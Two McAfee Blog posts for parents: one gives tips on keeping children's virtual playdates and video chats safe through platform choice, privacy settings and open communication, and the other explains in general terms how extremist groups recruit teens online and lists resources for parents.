The advent of technology has significantly transformed the way we communicate and interact with each other. However, as with any great invention, it also comes with potential risks and dangers, especially for kids who may not fully comprehend the implications of their online activities. With cyberbullying, online predators, and inappropriate content being just a few of the digital risks, it is crucial to establish robust safety measures when kids engage in online social activities such as virtual playdates, hangouts, and video chats.

In this article, we will explore the different ways parents and caregivers can keep these activities secure and fun. By understanding the risks involved, staying informed on the latest developments in online safety, and taking actionable steps, everyone can navigate the digital world safely and confidently.

How to Keep Everyone Safe from the Dangers of Virtual Communication

Navigating the potential pitfalls of online interaction requires proactive measures and informed strategies. Let’s take a look at these tips on how to safeguard everyone from the inherent dangers of virtual communication, promoting a secure and positive digital experience for all.

Awareness and Understanding of Potential Risks

The first step in ensuring a safe online environment for children is understanding the potential risks and how they can be mitigated. Internet safety is not just about blocking and filtering inappropriate content; it’s also about educating ourselves and our children on how to behave responsibly online and understanding the potential repercussions of our digital footprint.

Online activities, especially those involving video chats, can expose children to various risks, including cyberbullying, identity theft, and exposure to inappropriate content. These risks can have devastating consequences on a child’s mental health, self-esteem, and overall well-being. As such, it is vital for parents and caregivers to have regular conversations about these potential dangers with their children. It’s also crucial to ensure that children feel comfortable expressing any concerns or reporting any uncomfortable situations they encounter online.

Dig Deeper: Messenger Rooms: New Video Chat Option is Fun But Has Risks

Choosing the Right Platforms and Tools

The market is flooded with countless communication platforms, each with its features, safety measures, and potential loopholes. As a parent, choosing the right tool for your child’s online activities can be quite overwhelming. Not all platforms are created equal, and while some prioritize user safety and provide robust parental controls, others may not provide the same level of security.

When choosing a platform for your child’s virtual playdates or hangouts, consider aspects like age restrictions, privacy settings, and whether the platform allows parental controls. Additionally, evaluate the platform’s reputation regarding safety – a quick internet search can provide insights into any security issues or breaches the platform may have had in the past. Remember, the goal is to create a safe and enjoyable online experience for children. 

Implementing Privacy Settings and Parental Controls

One of the essential ways to ensure online safety for kids is by properly setting up privacy settings and parental controls on the communication tools they use. These settings can limit what information is shared and with whom, restrict access to certain content, and even set time limits for usage. Parental controls are a fantastic way of managing and monitoring your child’s online activities without being overly intrusive.

However, it’s important to note that these controls and settings are not foolproof. They should be used in conjunction with open communication and education about online safety. It’s essential to explain to children why these measures are in place, rather than just imposing them. They are more likely to follow these guidelines if they understand their purpose. 

McAfee Pro Tip: Parental controls are effective in monitoring children, but nothing beats proactive digital parenting. Managing digital parenting doesn’t need to be daunting, especially when you approach it step by step. Know how parental controls and digital parenting can help create good habits.

Building Guidelines for Safe Online Communication

Establishing clear guidelines for online communications is another critical aspect of ensuring a secure online environment for kids. These guidelines should be age-appropriate and cover aspects like sharing personal information, accepting friend requests, and how to behave respectfully online.

It’s also important to educate kids on the permanence of their online activities. Once something is shared online, it can be difficult, if not impossible, to completely remove it. They should understand the potential impact of their online behavior on their future, such as college admissions or job opportunities. Encouraging safe and responsible online behavior can go a long way in mitigating many of the potential risks associated with online communication.

Dig Deeper: Teens’ Online Behavior Can Get Them in Trouble

Following Virtual Playdates Etiquettes

In addition to safety measures, it’s also important to establish some etiquette for virtual playdates to ensure they are enjoyable and respectful for everyone involved. These guidelines should include respecting others’ time, muting when not speaking to avoid background noise, and understanding when to use the chat feature versus when to speak up.

It’s also important to discuss how to handle disagreements or misunderstandings that may arise during these virtual gatherings. Encourage kids to express themselves respectfully and listen to others’ perspectives. Remind them that it’s okay to disagree with someone but that it should be done in a respectful and kind manner.

Monitoring Screen Time

Depending on the age of your child, you may need to monitor the amount of time they spend on virtual activities. It’s easy for kids to lose track of time when they are engrossed in a fun virtual playdate or hangout. Setting and enforcing time limits can help prevent screen addiction and ensure your child has a balanced life with ample time for physical activities, schoolwork, and offline social interactions.

To make this process easier, you can use the built-in screen time management features available on most devices or utilize third-party apps that provide more detailed monitoring and control. Talk to your child about the importance of balancing online and offline activities. Make sure they understand that these limits are set out of concern for their well-being, not as a form of punishment.

Teaching Kids to Treat Others Respectfully

Just like offline interactions, teaching kids to be respectful in their digital communications is crucial. They should understand that the same rules of kindness and respect apply, whether they’re interacting with others face-to-face or through a screen. Cyberbullying is a significant concern for many parents, and teaching children to treat others respectfully can help mitigate this risk.

Encourage your child to empathize with others by imagining how they would feel if the roles were reversed. Foster an online culture of acceptance, understanding, and respect by setting a positive example through your own online interactions. Remember, kids often emulate the behavior they see around them.

Dig Deeper: 5 Digital Family Values to Embrace to Make the Internet a Better Place

Promoting Open Communication

Open communication is the key to any successful relationship, and this holds true for your relationship with your child. Encourage them to talk to you about their online experiences, both good and bad. This can help you identify any potential problems before they escalate and provide guidance on how to handle various situations.

Ensure your child feels comfortable coming to you with any issues or concerns they may have. Make it clear that you’re there to help, not to chastise them for making mistakes. Remember, the online world can be a confusing and intimidating place for kids, and they need to know they have a trusted adult to turn to when they need help navigating it.

Staying Up-to-Date with the Latest Online Safety Tips

The online world is constantly evolving, so staying up-to-date with the latest safety tips is crucial. Regularly check reliable online safety resources and learn about the latest threats, trends, and best practices. This can help you prepare for and mitigate potential risks before they impact your child.

Consider joining online communities where parents share tips and advice about online safety. These platforms can be a great source of information and support as you navigate the digital world with your child. Remember, knowledge is power, and the more informed you are, the better you can protect your child.

Final Thoughts

In conclusion, ensuring online safety during virtual playdates, hangouts, and video chats involves a combination of selecting the right communication platforms, using privacy settings and parental controls, establishing guidelines for online communications, and promoting open, respectful interactions. As parents and caregivers, it’s essential to remain vigilant and proactive in teaching our children about online safety.

However, it’s equally important to remember that our ultimate goal isn’t to eliminate all online risks but to create a balance where our kids can enjoy the benefits of the virtual world while being mindful of its potential pitfalls. By employing the strategies discussed in this article, you can provide a safe and enjoyable online environment for your child, fostering their growth and development while ensuring their safety.

The post Keeping Virtual Play Dates, Hangouts, and Video Chats Safe for Everyone appeared first on McAfee Blog.

How Extremist Groups Target Teens Online

By: McAfee
is roblox safe for kids?

With the reality of the digital age, the internet has become a vital part of our daily lives. While it offers immense benefits, the online world also has its potential risks. One such alarming issue involves extremist groups targeting impressionable teenagers online. An example of this is the Orlando nightclub massacre, where the gunman was believed to have been radicalized online. This guide aims to shed light on how these extremist groups operate and provide helpful measures for parents to protect their children.

Understanding The Online Influence of Extremist Groups

According to experts, extremist groups approach their targets subtly, often presenting their ideologies as non-threatening at first. These manipulations are not limited to only social media platforms, such as Facebook or Twitter, but can be encountered in various forms like pop-up ads, hashtags, blog posts, and even videos. Extremist content is widespread online, and it has become increasingly crucial to educate your family about these threats.

Influence from these groups does not happen overnight. It often starts with behavioral changes. Common signs that a teen may be exposed to extremist ideologies include physical changes, sudden interest in fundamental values, increasingly critical towards the U.S., or constantly praising extremist violence in the news. These changes may seem minor at first, but they can lead to sinister results if left unchecked.

Strategies Employed by Extremist Groups Online

ISIS, among other extremist groups, has used the internet extensively for propaganda and recruitment. Their online presence is state-of-the-art and their recruitment methods are sophisticated. They primarily target impressionable teens and young adults who are often at the peak of their emotional turmoil and rebellion. They capitalize on the young person’s desire for acceptance, camaraderie and the urge to act out.

Extremist ideology is presented in a way that validates and glorifies this rebellion, treating it as an act of bravery. These groups lure in both males and females with promises of material rewards, eternal favor, adventure, and even heroism. All these appeal to the human desire for acceptance and significance, making it more appealing for impressionable youths.

Defending Against Online Extremism

The Family Institute for Online Safety (FOSI) released a report entitled “Violent Extremism: The New Online Safety Discussion”. It highlighted the ongoing threat of online extremism and the potential exposure of children to extremist content. The report recommends proactive measures such as awareness, education, and collaboration among government, community leaders, and social media companies to keep families safe from these threats.

Parents play a critical role in curbing this menace. They need to discuss current world events and the reliability of online content their children might encounter online. They should help their children develop critical thinking skills about the content they consume online, understand the motivations behind posted content and the potential manipulation involved.

Monitoring Your Child’s Online Activity

As a parent, it is important to observe your child’s online behavior. This does not imply invading their privacy but rather maintaining open communication about their online activities. As recommended by the FOSI report, parents should be aware of the sites their children visit and the content they consume. Encourage your child to discuss questionable content or unusual interactions they encounter online. This open communication helps build trust and promotes a safer online environment.

Teaching your children about digital footprint is also essential. Explain how their online behavior can have real-life consequences. This can range from damaging their reputation to attracting unwanted attention from malicious figures, such as those from extremist groups. Encourage them to think twice before posting or responding to content online, and remind them that nothing they do online is truly hidden or erased.

Dig Deeper: 6 Tips to Help Protect and Improve Your Child’s Online Reputation

Online Resources for Parents

There are numerous online resources available to assist parents in mitigating the influence of online extremism on their children. These include guides on dealing with tragedy and resources to help identify and address childhood depression. Utilizing these resources can equip parents with the knowledge to address difficult situations appropriately and limit the impact on their child’s mental health. Here are some sources you might want to check out: 

  • Educational Websites: Resources like those provided by the FOSI, including studies and actionable advice, can help parents stay informed about the current behaviors and trends of online extremists. Websites like Common Sense Media and NetSmartz also offer comprehensive educational materials, including articles, videos, and lesson plans, to help parents and educators address online safety and digital literacy with children. Keeping abreast of these trends enables parents to better recognize potential threats and intervene before their children are influenced by extremist propaganda.
  • Parental Control Software: McAfee’s comprehensive parental control software offers parents a multifaceted solution to ensure the online safety of their children. With these tools, parents can actively monitor and manage their child’s internet activities, enabling them to set restrictions on certain websites or content deemed inappropriate. 
  • Online Safety Workshops: Many organizations and schools host workshops and webinars on online safety and digital literacy. These can provide parents with practical strategies and expert insights.
  • Mental Health Support: Accessing online platforms like the National Alliance on Mental Illness (NAMI) or Crisis Text Line can help parents understand and address the mental health challenges their children may face as a result of online experiences.
  • Social Media Guides: Given the central role of social media in many children’s lives, parents can also find guides from platforms like Facebook, Instagram, and Snapchat on how to ensure a safer and more positive online experience.

Dig Deeper: Does Your Child Have an Unhealthy Relationship with Social Media?

  • Counseling Services: If parents observe concerning changes in their child’s behavior or mental health, it’s important to connect with school counselors, therapists, or psychologists who specialize in youth mental health and digital well-being.
  • Community Support: Local parent groups or online communities dedicated to online safety and parenting can provide a sense of solidarity and practical advice from other parents who have faced similar challenges.

Final Thoughts

The digital age brings with it immense benefits and potential risks. Online extremism is a real threat, but proactive and involved parenting can help minimize its influence on our children. By staying informed about extremist tactics, maintaining open dialogue with our children about their online activities, and utilizing available resources, we can help ensure their online safety. After all, armed with knowledge and understanding, we are well-equipped to face, address, and overcome these challenges.

Improve yours and your children’s understanding of the online world with the help of McAfee. Whether it’s through educational content, parental control solutions, or security features, McAfee empowers both parents and children to make informed decisions, practice responsible online behavior, and stay safe in an ever-evolving digital landscape. 

The post How Extremist Groups Target Teens Online appeared first on McAfee Blog.

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